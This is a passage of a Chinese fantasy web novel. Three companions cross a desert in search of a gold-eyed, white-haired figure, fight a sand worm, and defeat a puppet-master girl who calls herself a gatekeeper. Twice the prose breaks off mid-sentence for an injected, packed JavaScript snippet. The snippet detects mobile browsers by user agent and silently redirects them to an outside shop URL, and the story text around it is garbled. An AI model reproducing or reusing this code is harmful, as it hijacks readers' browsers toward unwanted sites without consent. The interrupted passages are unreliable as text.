“不过话说回来,”烈风煌转过头,目光在九如的红袍和白砚的白发之间游移,“一个自称蓬莱人,一个是阿尔默人,两人结伴在荒山无人州找人……这可太有意思了。你们找谁?” 九如和白砚同时开口: “找一个金瞳白发的人。” “找一个对我很重要的人。” 话音落下,两人再次对视。这一次,眼神中的情绪更加复杂。 烈风煌挑起一边眉毛:“金瞳白发?这特征可不多见。我倒是听说过一个人——” “谁?”九如和白砚异口同声。 “别急嘛。”烈风煌走到一处沙丘的阴影下,从腰间解下一个水囊,仰头喝了一大口。水从她嘴角溢出,顺着白皙的脖颈滑下,消失在衣领里。她抹了抹嘴,继续说:“大概三百年前,沙漠深处出现过一个怪人。传说他有一头白发,眼睛在月光下会变成金色。他独自一人在无人区游荡,不与人交流,不参与任何争斗。有人试图靠近他,都被他用一种奇怪的力量推开了。” “后来呢?”九如追问,心脏怦怦直跳。 “后来他就消失了。”烈风煌摊手,“有人说他被沙暴吞没了,有人说他去了更深的无人区,也有人说……他根本不是人,是沙漠本身孕育的精魂,时间到了就回归沙海了。” 失望像冰冷的泉水,浇灭了九如心中刚刚燃起的希望之火。三百年,太久了。他要找的人,真的还在吗?还是说,这又是一场注定徒劳的追寻? 白砚却皱起了眉头:“奇怪的力量?什么样的力量?” “记载很模糊。”烈风煌说,“有的说是风,有的说是沙,还有的说是一种看不见的屏障。唯一确定的是,那种力量非常古老,古老到不属于这个时代。” 古老的力量。九如下意识地摸了摸手腕上的青色剑印。承影剑算不算古老的力量?守渊者算不算不属于这个时代的人? “你们为什么要找他?”烈风煌问,眼睛亮晶晶的,充满了好奇。 九如沉默了。他要怎么解释?说自己每次重生都会失去记忆,只记得要找这个人?说自己可能是某个上古英雄的转世?这些话说出来,恐怕会被当成疯子。 白砚却开口了,声音低沉:“为了一个承诺。也为了……赎罪。” 又是赎罪。九如想起烈风煌刚才的话——“阿尔默,寓意是赎罪”。白砚要赎什么罪?和他背叛守渊者有关吗?和蓬莱被灭有关吗? 烈风煌看着白砚,看了很久,忽然笑了:“好吧,我不问了。每个人都有秘密。不过既然你们在找人,我也在找东西,不如结伴而行?这沙漠危险重重,多一个人多一份照应。” “你要找什么?”九如问。 “一把刀。”烈风煌的眼睛里闪过一丝狂热,“修罗道的至宝,三百年前遗失在沙漠深处。我这次来,就是为了找回它。” 白砚沉吟片刻,点了点头:“可以。但你要答应我一件事。” “说。” “不要打听我们的过去。”白砚的眼神锐利如刀,“也不要试图探究我们之间的关系。” 烈风煌歪着头想了想,伸出小拇指:“成交!我们来拉钩!” 白砚愣了一下,显然没料到这个提议。九如却忍不住笑了——在这种荒凉绝望的地方,这种孩子气的举动有种说不出的荒诞感。 最终,白砚还是伸出小拇指,和烈风煌勾了勾。轮到九如时,他看着少女期待的眼神,也伸出了手。三根手指勾在一起,在沙漠的烈日下许下了一个脆弱的约定。 “好了,现在我们是同伴了!”烈风煌欢呼一声,从怀里掏出一个小布袋,倒出几颗棕色的丸子,“来,尝尝我们可可西的特产——沙棘丸,能补充体力,还能防中暑。” 九如接过一颗,放入口中。丸子味道很奇怪,酸甜中带着苦涩,但咽下去后,一股暖流从胃部扩散到四肢百骸,疲惫感果然减轻了不少。 “好东西。”他由衷赞叹。 “那当然!”烈风煌得意地扬起下巴,“我们修罗道虽然人少,但好东西可不少。对了,你们接下来打算去哪?” 白砚从怀里掏出一张破旧的羊皮地图,摊在沙地上。地图很古老,边角已经磨损,上面的线条模糊不清。他指着地图中央一个用红色标记的位置: “这里,深渊之门遗址。” 烈风煌凑过去看,脸色微微一变:“你们要去那里?那可是死地中的死地。传说任何进入那里的人都没有回来过。” “我们必须去。”白砚的语气不容置疑,“那里可能有我们要找的线索。” 烈风煌盯着地图看了很久,忽然抬头看向九如:“你呢?你也同意去?” 九如点了点头。虽然不知道前方有什么,虽然可能又是一次死亡,但他已经没有退路了。每一次重生都在寻找,这一次,他至少要找到一些答案。 “好吧。”烈风煌叹了口气,从腰间解下另一个水囊扔给九如,“那你们得多带点水。从这儿到深渊之门,至少还要走七天。而且……” 她顿了顿,表情严肃起来:“而且我听说,最近沙漠深处不太平。有些不该出现的东西,开始活动了。” “什么东西?”九如问。 烈风煌没有回答,只是望向沙漠深处,那双总是充满笑意的大眼睛里,第一次露出了凝重的神色。 太阳渐渐西斜,沙漠的温度开始下降。三人决定在沙丘背阴处扎营过夜。烈风煌从行囊里掏出一顶小巧的帐篷,熟练地支起来。白砚则生起一堆篝火,用的是沙漠里一种罕见的耐燃灌木。 九如坐在火堆旁,看着跳跃的火焰出神。蓬莱,阿尔默,赎罪,深渊之门……这些词在他脑中盘旋,像一团纠缠不清的线。他试图从中理出一些头绪,却发现自己的记忆太过破碎,根本无法拼凑出完整的画面。 “给。”白砚递过来一块烤热的干粮。 九如接过,低声道谢。两人默默吃着,只有火焰噼啪作响。 “你……”九如犹豫着开口,“你真的不知道蓬莱和阿尔默的事?” 白砚沉默了很久,久到九如以为他不会回答了。就在九如准备放弃时,白砚开口了,声音轻得几乎被风声淹没: “我知道一些。但不完整。每一次重生,我都会失去一部分记忆。关于阿尔默的历史,关于那场战争,我只记得零星的片段。” 他抬起头,看着九如,眼神复杂:“但我记得,阿尔默人确实背负着罪孽。我们天生拥有感知自然之力的能力,这种能力……曾经被滥用。” “滥用来做什么?”九如问。 白砚摇摇头:“我不知道。那段记忆被刻意抹去了,或者……是我自己选择遗忘的。我只知道,我们必须赎罪。这也是为什么,我一直在找守渊者。” 守渊者。金瞳白发的人。蓬莱的仇人?还是阿尔默的救赎? 九如感到一阵头痛。他按住太阳穴,努力回想自己关于蓬莱的记忆。那些画面清晰而真实——师尊教他剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109767|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法的清晨,师兄们围坐在火堆旁讲故事的夜晚,山脚下村民送来的新鲜瓜果…… 但如果烈风煌说的是真的,如果蓬莱早在六百年前就被灭了,那么他的记忆从何而来?是幻觉?是梦境?还是…… “也许我们都错了。”九如忽然说。 白砚看向他。 “也许我们寻找的不是同一个人。”九如继续说,“也许我们记忆中的过去,根本不是真实的过去。也许……” 他没有说下去。也许什么?也许他们都在一场巨大的骗局中?也许他们的重生,他们的寻找,都是某种力量的操纵? 这个念头太可怕,可怕到他不敢细想。 “睡吧。”白砚站起身,“明天还要赶路。无论真相是什么,我们只有走下去才能找到答案。” 九如点点头,躺在沙地上,望着沙漠的星空。这里的星空格外清晰,银河像一条发光的丝带横跨天际,千万颗星星闪烁着冰冷的光芒。 他想起师尊说过的话:“九如,你要记住,无论遇到什么,都要保持本心。心若乱了,剑就乱了。” 本心。他的本心是什么?一个在无尽轮回中寻找幻影的人,还有本心可言吗? 不知不觉中,他睡着了。 梦中,他又回到了蓬莱山。但不是记忆中祥和的样子——山在燃烧,宫殿在倒塌,人们尖叫着奔逃。他看见一个白发的身影站在火海中,手中持着一柄剑,剑尖一点红。 那人转过身,金色的瞳孔看向他。 然后说了一句话。 九如猛然惊醒,心脏狂跳。那句话还在耳边回响,清晰得如同刚刚说出口: “找到我,然后杀了我。” 天还没亮,沙漠的夜晚寒冷刺骨。九如坐起身,发现白砚已经醒了,正坐在火堆旁,往里面添柴。烈风煌还在帐篷里熟睡,传来均匀的呼吸声。 “做噩梦了?”白砚问,没有回头。 九如点点头,又想起白砚看不见,于是“嗯”了一声。 两人沉默地坐着,直到东方泛起鱼肚白。第一缕晨光照亮沙海时,烈风煌从帐篷里钻出来,伸了个懒腰。 “早啊!”她精神抖擞地打招呼,完全看不出是在荒无人烟的沙漠里过了一夜。 三人简单吃了点干粮,收拾行装,准备出发。黑驴似乎休息得很好,这次居然愿意自己走路了,虽然走得慢,但至少不用人扛了。 “今天我们要穿过流沙区。”烈风煌看着地图说,“那片区域很危险,沙子下面是空的,一不小心就会陷进去。你们要紧跟我的脚步,一步都不能错。” 她走在最前面,每一步都小心翼翼,时不时用手中的长棍试探沙地的虚实。白砚和九如跟在她身后,踩着她的脚印前进。 走了约莫两个时辰,前方出现了一片奇怪的沙地。那里的沙子颜色更深,表面有细微的波纹,像是水面的涟漪。 “就是这里了。”烈风煌停下脚步,表情严肃,“流沙区。跟紧我,千万别掉队。” 她开始以一种奇怪的步伐前进——时而向左三步,时而向右两步,时而跳跃,时而后退。白砚和九如紧紧跟随,黑驴似乎也明白这里的危险,走得格外小心。 走到一半时,异变突生。 九如脚下的沙地突然塌陷,他整个人向下坠去! “九如!”白砚惊呼,伸手去抓,却只抓住了一片衣角。 烈风煌反应极快,手中长棍猛地插入沙地,另一头甩向九如:“抓住!” 九如抓住长棍,下坠的势头稍缓,但流沙的吸力太强,他仍在缓缓下沉。更糟糕的是,他感到沙地下面有什么东西在动——不是流沙自然的流动,而是有生命的东西在游走。 “下面有东西!”他喊道。 烈风煌脸色一变,从腰间抽出一把弯刀。刀身狭长,弧度优美,刀刃在阳光下闪着寒光。她将刀插入沙地,口中念念有词。 沙地震动起来。 一个巨大的黑影从沙地深处浮现,破沙而出—— 那是一条沙虫,庞大得超乎想象,身体呈环节状,表面覆盖着坚硬的甲壳,头部有一张圆形的口器,里面布满了一圈又一圈的利齿。 “沙漠巨噬虫!”烈风煌倒吸一口凉气,“这东西应该只在深处活动,怎么会出现在流沙区边缘?” 巨噬虫张开大口,向九如扑来。 九如下意识地召出承影剑。青光闪过,长剑在手,他挥剑斩向巨噬虫。剑锋砍在甲壳上,溅起一串火花,却只留下一道白痕。 “它的甲壳太硬了!”烈风煌喊道,“攻击它的关节!” 白砚也出手了。他没有用武器,只是双手结印,口中吐出几个古朴的音节。沙地突然隆起,形成数道沙墙,挡在巨噬虫面前。但巨噬虫轻易就撞碎了沙墙,继续向九如冲来。 九如感到流沙已经淹到了胸口,呼吸开始困难。他咬紧牙关,将灵力灌注到承影剑中。剑身发出嗡鸣,剑尖那点红芒骤然亮起,如同燃烧的火焰。 这一次,他挥剑时,剑锋上附着一层淡淡的金光。 剑刃斩下,没有砍向甲壳,而是精准地刺入了巨噬虫口器与身体的连接处——那里没有甲壳保护,只有一层薄薄的黏膜。 “噗嗤——” 剑身没入,绿色的血液喷溅而出。巨噬虫发出一声尖锐的嘶鸣,疯狂扭动身体。九如趁机抽出长剑,再次刺入另一个关节。 烈风煌也加入了战斗。她的弯刀在空中划出优美的弧线,每一刀都精准地砍在巨噬虫的关节处。白砚则不断操控沙地,限制巨噬虫的行动。 三人配合默契,仿佛已经并肩作战多年。 终于,在九如刺出第七剑时,巨噬虫轰然倒地,庞大的身躯在沙地上抽搐了几下,不再动弹。 九如从流沙中爬出来,浑身都是沙子和绿色的虫血,狼狈不堪。他瘫坐在沙地上,大口喘气。 “你没事吧?”白砚走过来,伸手拉他。 九如握住那只手,借力站起。两人的手紧紧握在一起,掌心都是汗水和血污,却谁都没有先松开。 烈风煌走到巨噬虫的尸体旁,用弯刀撬开它的口器,从里面挖出一颗鸡蛋大小的黄色晶体。 “沙晶。”她举起晶体,阳光透过晶体折射出温暖的光芒,“这东西很珍贵,能卖不少钱。不过更重要的是——” 她看向九如,眼睛亮晶晶的:“你刚才用的剑法,是不是蓬莱的‘流光剑诀’?” 九如愣住了。流光剑诀?他完全不知道这个名字。刚才那几剑,完全是他本能驱使,仿佛身体自己知道该怎么动。 “我不知道。”他诚实地说,“我只是……只是顺着感觉出剑。” 烈风煌盯着他看了很久,忽然笑了:“有意思。一个自称蓬莱人却不知道本门剑法的人,一个阿尔默人却在使用蓬莱的剑法。你们这对组合,真是太有意思了。” 她把沙晶扔给九如:“拿着吧,这是你应得的。继续赶路,天黑前我们必须穿过流沙区。” 九如接过沙晶,晶体触手温润,里面仿佛有流沙在缓缓流动。他将其收好,跟上烈风煌的脚步。 白砚走到他身边,低声说:“你刚才的剑法……确实很像古籍中记载的流光剑诀。” “你也知道?”九如问。 白砚点点头:“阿尔默的典籍里,有关于各门派功法的记载。流光剑诀是蓬莱的至高剑法之一,据说只有掌门亲传弟子才能学习。” 九如沉默了。如果真是这样,那么他的记忆可能有一部分是真实的。他可能真的是蓬莱人,甚至可能是重要弟子。 但为什么他会被灭门仇人的后裔所救?为什么他会和阿尔默人一起寻找同一个人? 谜团越来越多,像沙漠中的沙暴,将一切真相都掩盖在漫天黄沙之下。 三人继续前进,谁都没有再说话。沙漠依旧无边无际,烈日依旧灼热无情。但在那片金色荒原的深处,有什么东西正在苏醒。 而他们的旅程,才刚刚开始。 3. 金童白发逐轮回(三) 沙漠的夜晚来得突兀。 上一刻还是灼热的白昼,下一刻太阳便沉入地平线,天空迅速被深紫色的暮霭笼罩。然后,月亮升起来了——一轮完美无缺的圆月,银白如盘,悬挂在漆黑的夜空,将冰冷的清辉洒向无垠沙海。 九如坐在沙丘上,仰头望着那轮满月。在他的记忆碎片里——那些散落在无数次重生中的零星画面——似乎听过这样的传说:沙漠的月亮从来都是圆的,很少有残月。每次残月的出现,都意味着大灾难的降临。 “看什么呢?”烈风煌走过来,在他身边坐下。 “看月亮。”九如说,“传说沙漠的月亮总是圆的。” 烈风煌也仰起头,月光洒在她年轻的脸上,那双总是明亮如小鹿的眼睛此刻显得格外沉静:“我听师父说过。不是沙漠的月亮总是圆的,而是沙漠本身会‘纠正’月相——当月亮出现缺角时,沙漠深处会有某种力量涌出,将月亮‘补全’。” “某种力量?”九如转过头看她。 烈风煌耸耸肩,牵动了伤口,疼得龇牙咧嘴:“嘶——师父没说清楚。反正沙漠很邪门,尤其是无人区深处。不然你以为为什么千百年来都没人能在这里建立城池?” 白砚从帐篷里走出来,手里拿着三个水囊。经过白天与巨噬虫的战斗,三人的关系似乎近了一些——或者说,是共同经历生死后形成的一种微妙默契。 “喝水。”他将水囊分别递给九如和烈风煌,“我们离深渊之门还有四天路程。接下来要穿过‘叹息谷’,那里更危险。” “叹息谷?”九如问。 “一处峡谷。”白砚在沙地上画出简单的地形,“两边是高耸的岩壁,中间是狭窄的通道。传说经过那里的人会听到亡魂的叹息,意志不坚定者会精神崩溃,永远困在谷中。” 烈风煌灌了一大口水:“鬼打墙之类的?我们修罗道有破解的法子,不用担心。” 九如却注意到白砚的表情有些凝重:“你是不是知道什么?” 白砚沉默片刻,缓缓道:“上一次我经过叹息谷,是三十七次重生前。那时候……我遇到了一些东西。” “什么东西?” 白砚没有回答,只是站起身,望向沙漠深处。月光下,他的白发泛着银色的光泽,让他看起来几乎不像尘世中人。 “休息吧。”他说,“明天还要赶路。” 深夜,九如再次从梦中惊醒。 他又梦见了那个金瞳白发的人。这一次的梦境格外清晰——那人站在一片废墟之中,四周是燃烧的火焰和倒塌的宫殿。他手持承影剑,剑尖滴血。然后他转过身,金色的瞳孔直视九如,嘴唇微动: “找到我,然后杀了我。” 这句话像魔咒般在九如脑中回响。他坐起身,心脏狂跳。帐篷外传来轻微的脚步声,他掀开帘子,看见白砚独自一人站在月光下,仰望着夜空。 “你也睡不着?”九如走过去。 白砚没有回头:“月亮……太亮了。” 确实,沙漠的月亮明亮得不可思议,几乎可以看清沙地上每一粒沙子的轮廓。在这种光芒下,一切都无所遁形。 “你在想什么?”九如问。 白砚沉默了很久,久到九如以为他不会回答了。就在他准备离开时,白砚开口了,声音轻得像叹息: “我在想,如果找到了他,我该说什么。” 九如想起白砚之前的话——对不起,还有谢谢。简单的两句话,却承载着千年的重量。 “如果他真的是守渊者,”九如说,“如果他真的经历了那场战争,经历了背叛……你觉得他会原谅你吗?” 白砚苦笑:“我不知道。也许不会。但无论如何,我都要见他一面。有些话,必须当面说。” 月光下,两人的影子在沙地上拉得很长。九如忽然意识到,他们都在寻找同一个人,但寻找的原因可能完全不同。白砚是为了赎罪,而他呢?他不知道自己为什么要找这个人,只是那个执念刻在灵魂深处,像一道无法愈合的伤口。 “睡吧。”白砚说,“明天……明天可能会遇到麻烦。” “为什么这么说?” 白砚指了指天空:“月亮太圆了。圆得不正常。” 九如抬头看去,那轮圆月确实异常明亮,几乎刺眼。他想起白天的传说——沙漠的月亮从来都是圆的,很少有残月。每次残月的出现,都意味着大灾难的降临。 那么圆月呢?是否也预示着什么? 第二天清晨,三人继续出发。黑驴似乎预感到了什么,显得有些焦躁,时不时停下脚步,警惕地观察四周。 “你的驴怎么了?”烈风煌问。 白砚摸了摸黑驴的头:“她感觉到了什么。沙漠里的动物对危险比人敏感。” 果然,走了约莫两个时辰后,前方出现了一支奇怪的队伍。 十几个粗壮的轿夫抬着一顶巨大的藤轿。轿子是用粗大的藤条编织而成,上面铺满了瓦罐、泥罐,还有各种绿色植物——带刺的仙人掌、多肉植物、甚至还有几株沙漠中罕见的开花植物。在这些植物之间,散落着金银珠宝,在阳光下闪闪发光。 轿子最中央围着一个画圈——用某种红色颜料在藤条上绘制的复杂图案,线条扭曲诡异,像是某种古老的符文。圈中间坐着一个十多岁的小姑娘,全身被黑纱笼罩,就连眼睛都蒙着一条两指宽的黑布。 他们似乎在举行某种仪式。轿夫们步伐整齐,抬着轿子缓慢前行,口中念念有词,吟唱着古怪的调子。 九如第一反应是冲上去——那女孩被蒙着眼睛,坐在那样诡异的轿子里,怎么看都不正常。 “你干什么?!”白砚一把拉住他。 九如推开他:“救人啊!你瞎?” 白砚反手给他一肘子,压低声音:“那不是正常人,你看仔细了!” 九如这才定睛看去。那些轿夫看似人模人样,但仔细看,他们的手脚十分不协调,行走时同手同脚,动作僵硬得像提线木偶。脸上的表情一片空白,眼睛直视前方,瞳孔涣散无神。 烈风煌也发现了异常:“他们脸上一点表情也没有。你看他们的鞋,上面很多泥——这里方圆十里都是沙漠之地,泥地只有十公里之外的沼泽小路。他们一路走了这么久,脸上一点汗水都没有,手臂明明都被藤条勒出紫痕了,也不见痛苦,跟个木头人一样。” 九如皱起眉头。在他的认知里——那些破碎记忆拼凑出的认知——似人的东西有很多,但真人似假人的只有一种:傀儡。 “他们都是傀儡。”九如的声音沉了下来,“这种邪法只在北方流传,而且实施起来极其麻烦。要先把正常人做成‘活尸’,保持七天不死,维持五脏运转,再用秘药麻痹其神经,将傀儡符种进去,练就七七四十九天才能成。但一百个人里只能成功十个,其中还会出现脑子供血不足死亡的,进一步降低概率。所以这方法已经失传很久了。” 白砚眉头紧锁:“这到底是谁发明出来的邪法,这么折磨人。” 烈风煌却沉了脸色:“不,他们不是傀儡——或者说,不完全是。他们还有活人的阳气。他们是活体被种傀儡符的。” “这不可能。”九如反驳,“活人根本无法承受傀儡符的毒性。种符的过程痛苦无比,会让人精神崩溃,变成疯子。而且你看,一二三……十个人,居然有十个成功品!这概率太不正常了。” 白砚盯着那支诡异的队伍:“如何解决他们?” 九如摇头:“傀儡杀不死。而且一旦被他们标记,此生都无法逃脱。一般的方法是找出背后的主人,直接将主人杀死。傀儡无主会乱逃,抓住他们关在地洞里,等他们腐烂而死就行。” 烈风煌一打响指:“那我去吸引火力,你们趁机找幕后操控者。” 说完她已经闪身冲了出去,动作快得只剩一道黄色残影。 九如着急喊道:“慢着!” 但已经晚了。烈风煌如一阵旋风般冲向轿子,手中的弯刀在阳光下划出耀眼的弧线。 “傀儡和主人是共同视野的!”九如懊恼地补充完刚才没说完的话,“你只要出现在傀儡面前,那背后人立刻就能察觉!” 白砚从腰间取下一颗镶嵌着蓝色宝石的挂坠:“这么重要的事你应该早点说。” 九如苦笑:“我哪知道她动作这么快。” 烈风煌已经和傀儡们交上手了。她的弯刀锋利无比,每一刀都精准地砍在傀儡的关节处。那些傀儡虽然力大无穷,但动作僵硬迟缓,很快就被她一一打倒,散落在地上,像一堆破败的木偶。 她走向轿子中央的女孩,伸出手,声音尽量放得轻柔:“别怕,我是来救你的。” 女孩一动不动,黑纱下的脸看不清表情,只有蒙眼的黑布在风中微微飘动。 九如和白砚躲在沙地之下。白砚的那颗蓝色宝石散发出柔和的光芒,将周围的沙子排斥开,形成了一个可以呼吸的空间。他们挖了一个沙坑,一点点靠近轿子,沙子悬浮在他们周围,像是某种透明的屏障。 就在这时,异变突生。 蒙眼女孩的胸口突然被一只枯朽的爪子洞穿! 那爪子从她背后伸出,皮肤干瘪如树皮,指甲漆黑尖锐,贯穿了她的胸膛,从前胸透出,指尖滴着黑色的液体。 烈风煌大惊,右手快速掐了个兰花诀。一朵白色花朵瞬间在她掌心绽放,花瓣晶莹剔透,散发出淡淡的香气。就在她一掌拍向那只爪子的瞬间,又有两只冰冷的手从沙地中伸出,紧紧抓住了她的脚踝。 紧接着,她脖子一阵剧痛。 竟是那女孩——胸口被贯穿的女孩——突然张口,狠狠咬在了她的大动脉上! “噗——” 鲜血如瀑布般喷涌而出,在阳光下划出一道刺目的红线。烈风煌闷哼一声,手中的白花瞬间凋零。 九如见了立刻红了眼。他冲破沙地,承影剑在手,剑光如电,直刺那女孩。娇小的黑影松开烈风煌,轻盈地后跃,落在沙地上,张口吐出一块血肉——那是从烈风煌脖子上撕下的皮肉。 “她……是傀儡主……”烈风煌捂着脖子半蹲在地上,鲜血从指缝间不断渗出,脸色白得吓人。 九如赤红着双眼,左手在承影剑身上一抹,掌心被划破,鲜血染红剑身。剑尖那点红芒骤然亮起,如同燃烧的火焰。他冲向蒙眼女孩,两人酣战一处。 白砚搀扶起烈风煌:“你怎么样?” 烈风煌的眼睛紧盯着战局,声音虚弱但清晰:“那女孩身上有问题。你对血月尸陀了解多少?” 白砚瞳孔骤然收缩,竖成针状:“血月僵尸……只有大灾难中死了成千上万的人,用他们的尸骨炼就成的尸陀?这小孩不过十来岁,最近几十年都未能听闻有这么大宗的死亡事件,她不会是……” 话未说完,战局再生变故。 九如一剑刺中蒙眼女孩的胸口。剑锋穿透黑纱,却没见一滴血流出。女孩甚至感觉不到疼痛,继续前进,任由长剑贯穿身体,一直怼到剑柄处都毫无反应。 九如大惊,想要抽剑后退,但女孩的双手突然死死抓住剑身。那双手冰冷坚硬,力道大得惊人,九如竟然无法将剑抽出。 更可怕的是,女孩胸口那个被爪子洞穿的伤口,此刻正在缓缓愈合。黑色的液体从伤口渗出,将承影剑的剑身包裹,发出“滋滋”的腐蚀声。 烈风煌见状,右手拇指在脖子伤口处沾了鲜血,迅速在胸口掐了个复杂的法诀。她的脸色更加苍白,嘴唇失去血色,但眼神坚定无比。 紧接着,她朝沙地上狠狠一拍! “这世道有什么是不可能的?”她咳嗽着说,嘴角溢出血沫,“你们世仇都能组队了。” 白砚被她噎住,话虽没错,但不中听。 沙地震动起来。 轰隆隆的声响从地底传来,像是有什么东西正在苏醒。下一刻,十多个骷髅从沙地中浮现——不是完整的骨架,而是残缺不全的,有的少了一只手,有的缺了半边头颅,有的脊椎断裂,行动时发出“嘎吱嘎吱”的摩擦声。 白砚炸了毛:“卧槽了,这又是什么!!” 烈风煌勾了勾嘴角,尽管脸色苍白如纸,眼中却闪过一丝桀骜:“谁还没个邪法护身了?” 白砚:“……你才是邪魔吧。” 那些骷髅摇摇晃晃地站起,空洞的眼眶中燃烧着幽蓝色的火焰。它们走向那些倒在地上的傀儡,伸出骨手,开始撕扯傀儡的身体。 傀儡们发出非人的嘶吼,疯狂挣扎,但骷髅数量众多,很快将它们压制。更诡异的是,骷髅们撕开傀儡的身体后,并没有破坏他们,而是从自己身上拆下骨头,塞进傀儡体内。 “她在用骷髅骨替换傀儡的骨头。”烈风煌解释道,声音越来越虚弱,“傀儡之所以杀不死,是因为他们的核心在脊柱。只要脊柱完好,就算头被砍掉也能活动。但如果脊柱被替换成死人的骨头……” 她没说完,但白砚明白了。 那些傀儡被替换骨头后,动作变得更加僵硬,最后彻底不动了,像是真正的木偶被剪断了线。 蒙眼女孩似乎察觉到了危险。她松开承影剑,身体以一种诡异的角度向后弯曲,躲过了九如的追击。然后她张开嘴—— 发出的不是人声,而是一连串尖锐刺耳的嘶鸣,像是无数昆虫在摩擦翅膀。 沙地震动得更厉害了。更多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109768|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手从沙地中伸出,这次不是骷髅,而是干瘪的、覆盖着腐烂皮肉的手臂。一具具干尸从沙地中爬出,它们的眼睛是空洞的,嘴里流淌着黑色的液体。 “她在召唤更多的尸傀。”烈风煌咬牙站起,尽管身体摇摇欲坠,“我们必须在她召唤出更多之前阻止她!” 白砚将她扶到相对安全的地方,从怀中掏出一串骨制念珠。念珠很古老,每一颗都是用不同动物的骨头雕刻而成,上面刻满了细密的符文。 “这是阿尔默的圣物。”白砚说,“能净化邪祟,但使用一次需要消耗大量灵力,而且……” “而且什么?” “而且可能会唤醒我体内的一些东西。”白砚的眼神复杂,“一些……我不希望醒来的东西。” 九如仍在与蒙眼女孩缠斗。承影剑上的黑液已经被剑身的灵光净化,但女孩的身体异常坚韧,普通的攻击根本无法造成有效伤害。更麻烦的是,她似乎能预判九如的动作,每一次闪避都恰到好处。 “她的眼睛蒙着,怎么看得见?”九如心中疑惑。 突然,他想起傀儡和主人是共同视野的。那么反过来,主人是否也能通过傀儡的眼睛看世界?如果这女孩是傀儡主,她根本不需要用眼睛看——她可以通过所有被她控制的傀儡来感知周围的一切。 包括那些正在从沙地中爬出的干尸。 九如心念一动,改变了战术。他不再追求直接攻击女孩,而是开始清理周围的干尸。承影剑化作一道青光,在干尸群中穿梭,每一次斩击都精准地砍断干尸的脊柱。 干尸一个个倒下,女孩的动作果然开始出现迟滞。她感知外界的能力正在被削弱。 白砚看准时机,将骨制念珠抛向空中。念珠悬浮在女孩头顶,散发出柔和的白光。光芒照在女孩身上,她身上的黑纱开始冒烟,发出焦臭的气味。 “啊——!!!” 女孩发出凄厉的尖叫,那声音不像人类,更像是野兽垂死的哀嚎。她疯狂挣扎,想要逃离白光的笼罩,但念珠如影随形,始终悬浮在她头顶。 九如趁机一剑刺向她的后心。这一次,他没有瞄准身体,而是瞄准了脊柱——傀儡的核心所在。 剑锋刺入,女孩的身体猛地僵直。黑色的液体从伤口喷涌而出,但很快被念珠的白光净化,化作青烟消散。 女孩倒在地上,不再动弹。那些从沙地中爬出的干尸也同时僵住,然后纷纷倒下,重新化作枯骨。 战斗结束了。 九如气喘吁吁地收回剑,走到烈风煌身边。她的情况很不妙,失血过多,嘴唇发紫,呼吸微弱。 白砚也走过来,他的脸色同样苍白,使用念珠消耗了他大量灵力。他蹲下身,检查烈风煌的伤口。 “必须立刻止血。”他说,从怀中掏出一个小瓷瓶,倒出一些绿色的粉末,敷在烈风煌的脖子上。粉末接触伤口后迅速凝固,形成一层薄膜,血终于止住了。 “她会没事吧?”九如问。 “暂时死不了。”白砚说,“但需要休息,至少三天不能剧烈活动。” 就在这时,那个倒在地上的蒙眼女孩突然动了一下。 三人立刻警惕起来。但女孩没有攻击,只是缓缓坐起身,伸手扯下了蒙眼的黑布。 黑布下,是一双金色的眼睛。 不是白砚那种深褐色,也不是普通人的黑色,而是真正的金色——如同熔化的黄金,在阳光下闪耀着耀眼的光芒。 九如的心脏猛地一跳。 金瞳白发。他要找的人,就是金瞳白发。 女孩看着他们,金色的瞳孔中没有敌意,只有深深的疲惫和悲伤。她张开嘴,声音沙哑干涩,像是很久没有说过话: “你们……终于来了。” 九如握紧承影剑,声音有些颤抖:“你是谁?” 女孩笑了,那笑容凄美而苍凉:“我是谁?我是……守门人。也是囚徒。” 她抬起手,指向沙漠深处:“他在等你们。一直在等。” “他是谁?”白砚问。 女孩没有回答,只是继续笑着,金色的眼睛里流出两行血泪。然后她的身体开始崩解,从脚部开始,化作细沙,随风消散。 最后消失的是那双金色的眼睛,它们在消散前,深深地看了九如一眼。 “找到他……结束这一切……” 声音随风飘散。 女孩完全消失了,只留下一地黑纱和那条蒙眼的布带。 三人沉默地站在那里,许久没有说话。沙漠的风继续吹着,卷起细沙,将战斗的痕迹慢慢掩埋。 “她说的‘他’是谁?”烈风煌虚弱地问,“守渊者?” 九如和白砚对视一眼,都从对方眼中看到了同样的疑问。 如果这个女孩是守门人,那么她守护的是什么门?深渊之门?她在等谁?守渊者?还是……别的什么人? 白砚捡起地上的黑纱,仔细看了看:“这不是普通的布。上面有符文,是禁锢类的咒文。她不是自愿的,是被迫守在这里的。” 九如想起女孩最后的话——守门人,也是囚徒。所以她是被囚禁在这里,被迫守护某样东西? “我们必须加快速度了。”白砚说,“我感觉到……深渊之门那边,有什么东西正在苏醒。” 烈风煌挣扎着想要站起,但身体一晃,差点摔倒。九如连忙扶住她。 “你这样走不了。”白砚说,“我们必须找个地方让你休息。” 烈风煌摇头:“不行……时间不多了。我能感觉到,沙漠深处的那股力量越来越活跃。如果等到满月之夜……” 她没说完,但九如和白砚都明白她的意思。 满月之夜,会发生什么? 九如看向天空。太阳已经开始西斜,夜晚很快就要来临。而今晚的月亮,会是怎样的? 